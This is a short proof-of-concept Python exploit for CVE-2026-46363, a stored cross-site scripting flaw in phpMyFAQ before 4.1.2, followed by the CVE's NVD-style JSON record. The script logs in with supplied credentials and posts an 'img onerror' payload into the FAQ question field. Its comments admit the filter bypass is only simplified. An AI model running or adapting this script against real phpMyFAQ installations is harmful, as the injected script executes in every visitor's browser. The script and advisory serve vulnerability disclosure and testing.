CVE-2026-46363

# PoC for CVE-2026-46363 # This script demonstrates the injection of a payload into phpMyFAQ. # Requires authentication with FAQ_ADD permissions. import requests def exploit(target, username, password): session = requests.Session() # 1. Authenticate login_url = f"{target}/index.php?action=login" creds = {"username": username, "password": password} session.post(login_url, data=creds) # 2. Inject Payload (Simplified representation of encode-decode bypass) # The payload might need specific encoding to bypass the initial filter. # The 'raw' Twig filter ensures execution upon rendering. xss_payload = '<img src=x onerror=alert(1)>' add_faq_url = f"{target}/index.php?action=save" data = { "question": xss_payload, "answer": "This answer contains stored XSS.", "submit": "Save" } res = session.post(add_faq_url, data=data) if res.status_code == 200: print("[+] Payload injected successfully!") print(f"[+] Check the FAQ page at {target}/index.php?action=faq") else: print("[-] Injection failed.") # Usage # exploit("http://localhost/phpmyfaq", "admin", "password")

{"cve": {"id": "CVE-2026-46363", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:17:03.633", "lastModified": "2026-05-15T21:16:38.863", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in FAQ creation and update endpoints that bypass sanitization through encode-decode cycles. The vulnerability allows authenticated attackers with FAQ_ADD permission to inject malicious script tags via question or answer parameters, which execute in every visitor's browser when FAQ content is rendered with the raw Twig filter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-in-faq-question-answer-via-encode-decode-bypass", "source": "[email protected]"}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}